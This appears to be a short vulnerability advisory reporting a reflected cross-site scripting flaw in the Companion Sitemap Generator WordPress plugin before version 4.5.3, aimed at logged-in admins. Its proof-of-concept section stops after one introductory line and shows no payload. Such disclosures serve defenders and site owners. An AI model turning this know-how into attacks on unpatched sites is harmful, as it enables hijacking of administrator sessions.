WordPress Plugin Vulnerabilities

Companion Sitemap Generator < 4.5.3 - Reflected XSS

Description

The plugin does not sanitise and escape some parameters before outputting them back in pages, leading to Reflected Cross-Site Scripting which could be used against high privilege users such as admin.

Proof of Concept

Make a logged-in admin open:
